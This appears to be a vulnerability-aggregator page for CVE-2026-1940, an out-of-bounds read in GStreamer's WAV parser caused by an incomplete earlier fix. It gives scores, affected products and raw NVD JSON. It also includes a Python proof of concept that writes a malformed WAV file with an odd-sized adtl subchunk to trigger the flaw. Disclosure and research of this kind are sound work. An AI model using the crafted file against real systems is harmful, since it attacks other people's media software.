Security Vulnerability Report
中文
CVE-2026-1940 CVSS 5.1 MEDIUM

CVE-2026-1940

Published: 2026-03-23 22:16:25
Last Modified: 2026-05-04 15:30:09

Description

An incomplete fix for CVE-2024-47778 allows an out-of-bounds read in gst_wavparse_adtl_chunk() function. The patch added a size validation check lsize + 8 > size, but it does not account for the GST_ROUND_UP_2(lsize) used in the actual offset calculation. When lsize is an odd number, the parser advances more bytes than validated, causing OOB read.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:freedesktop:gst-plugins-good:1.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:gstreamer:gstreamer:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:debian:debian_linux:12.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:* - VULNERABLE
GStreamer 1.x (Versions patched for CVE-2024-47778 but prior to fix for CVE-2026-1940)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Generate a malicious WAV file to trigger CVE-2026-1940 # The vulnerability occurs when parsing 'adtl' chunks with odd sizes. def create_malicious_wav(filename): # RIFF header riff_header = b'RIFF' # Total file size (placeholder, will update) file_size = struct.pack('<I', 0) wave_format = b'WAVE' # fmt chunk (standard PCM) fmt_id = b'fmt ' fmt_size = struct.pack('<I', 16) fmt_data = struct.pack('<HHIIHH', 1, 1, 44100, 176400, 4, 16) # data chunk (empty) data_id = b'data' data_size = struct.pack('<I', 0) # LIST chunk containing 'adtl' # The parser looks for 'adtl' inside LIST chunks list_id = b'LIST' # Calculate size roughly list_content = b'adtl' # Malicious subchunk inside adtl # Using 'labl' (Label) chunk with an ODD size to trigger GST_ROUND_UP_2 subchunk_id = b'labl' subchunk_lsize = 1 # Odd number to trigger the rounding issue subchunk_size = struct.pack('<I', subchunk_lsize) subchunk_data = b'A' * subchunk_lsize list_content += subchunk_id + subchunk_size + subchunk_data list_size = struct.pack('<I', len(list_content)) # Assemble the file file_content = riff_header + file_size + wave_format file_content += fmt_id + fmt_size + fmt_data file_content += data_id + data_size file_content += list_id + list_size + list_content # Update total size (file size - 8 for RIFF header) total_size = struct.pack('<I', len(file_content) - 8) file_content = file_content[:4] + total_size + file_content[8:] with open(filename, 'wb') as f: f.write(file_content) print(f"[+] Malicious WAV file created: {filename}") print(f"[+] Try opening this file with a vulnerable version of GStreamer (e.g., using gst-play-1.0)") if __name__ == "__main__": create_malicious_wav('cve_2026_1940_poc.wav')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1940", "sourceIdentifier": "[email protected]", "published": "2026-03-23T22:16:25.043", "lastModified": "2026-05-04T15:30:08.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An incomplete fix for CVE-2024-47778 allows an out-of-bounds read in gst_wavparse_adtl_chunk() function. The patch added a size validation check lsize + 8 > size, but it does not account for the GST_ROUND_UP_2(lsize) used in the actual offset calculation. When lsize is an odd number, the parser advances more bytes than validated, causing OOB read."}, {"lang": "es", "value": "Una solución incompleta para CVE-2024-47778 permite una lectura fuera de límites en la función gst_wavparse_adtl_chunk(). El parche añadió una comprobación de validación de tamaño lsize + 8 &gt; size, pero no tiene en cuenta el GST_ROUND_UP_2(lsize) utilizado en el cálculo real del desplazamiento. Cuando lsize es un número impar, el analizador avanza más bytes de los validados, provocando una lectura OOB."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freedesktop:gst-plugins-good:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "A77F116D-9B57-44B4-8F86-C5BCF105C56E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gstreamer:gstreamer:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.1", "matchCriteriaId": "1F1B75B8-0527-487E-8F53-A658F7A1E7A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:12.0:*:*:*:*:*:*:*", "matchCriteriaId": "46D69DCC-AE4D-4EA5-861C-D60951444C6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-1940", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2436932", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://gitlab.freedesktop.org/gstreamer/gstreamer/-/issues/4854", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gstreamer.freedesktop.org/security/sa-2026-0001.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://security-tracker.debian.org/tracker/CVE-2026-1940", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}